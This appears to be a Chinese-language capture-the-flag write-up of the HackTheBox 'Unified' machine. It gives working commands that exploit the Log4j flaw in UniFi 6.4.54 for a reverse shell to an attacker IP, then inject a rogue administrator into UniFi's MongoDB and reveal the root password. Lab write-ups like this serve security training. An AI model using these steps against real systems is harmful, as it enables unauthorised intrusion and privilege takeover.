HackTheBox Unified
0x000 信息收集
端口扫描
nmap -sT -T4 -A 10.129.240.13
22 ssh
6789 ibm-db2-admin
8080 http-proxy
8443 UniFi Network
访问8443端口,发现是一个UniFi network管理页面;并且发现版本是6.4.54。
0x002 漏洞利用
Log4jUniFi命令执行漏洞
先去漏洞库搜索一下,发现存在如下漏洞。https://www.exploit-db.com/exploits/50592
下载漏洞利用exp:https://github.com/puzzlepeaches/Log4jUnifi
apt update && apt install openjdk-11-jre maven
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi
cd Log4jUnifi
pip3 install -r requirements.txt
mvn package -f utils/rogue-jndi/
我这里安装python模块的时候,出现了报错,有相同报错可以查看文章
https://blog.csdn.net/weixin_45639207/article/details/122603610 解决。
python3 exploit.py -u https://10.129.240.13:8443 -i 10.10.14.151 -p 4444
本地监听4444端口,成功获取到shell。
script /dev/null -c bash
升级shell
0x002 提权
查看mongodb数据库的端口,可以查看配置文件/usr/lib/unifi/data/system.properties
,也可以使用命令ps aux | grep mongo
查看。
登陆mongodb数据库
MongoDB数据库学习文档:https://www.runoob.com/mongodb/mongodb-tutorial.html
mongo --port 27117 ace
ace是mongodb数据库默认用户。
db.admin.find()
#枚举数据库的所有用户
mkpasswd -m sha-512 hacker
本地生成对应密码
# 增加数据
db.admin.insert()
# 往MongoDB数据库中添加一个用户
db.admin.insert({ "email" : "hacker@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$.QfFPJM3z/j2vRn4$nhaH8bGYRwUuEARf0P1ryqjusoynSNgtN99Vvoap5K5jNuNIUbHwIsk2pb8br3plTxdQUFCUf5dIvqaeEJd.J1" })
db.admin.find().forEach(printjson);
查看所有用户,找到刚插入用户的id。
db.site.find().forEach(printjson);
查看网站用户的详细信息。
将我们插入的用户绑定到这个网站上去,admin_id
:插入的用户id,site_id
:网站用户的id
db.privilege.insert({ "admin_id" : "63983374e23b107790afeb0b", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });
使用账号unifi-admin:hacker
登陆,在后台settings的Site页面找到了root用户密码:NotACrackablePassword4U2022
ssh登陆即可获取root权限。
0x003 答案
和提示做的稍微有些偏差,部分答案过程可看:https://blog.csdn.net/zr1213159840/article/details/123697698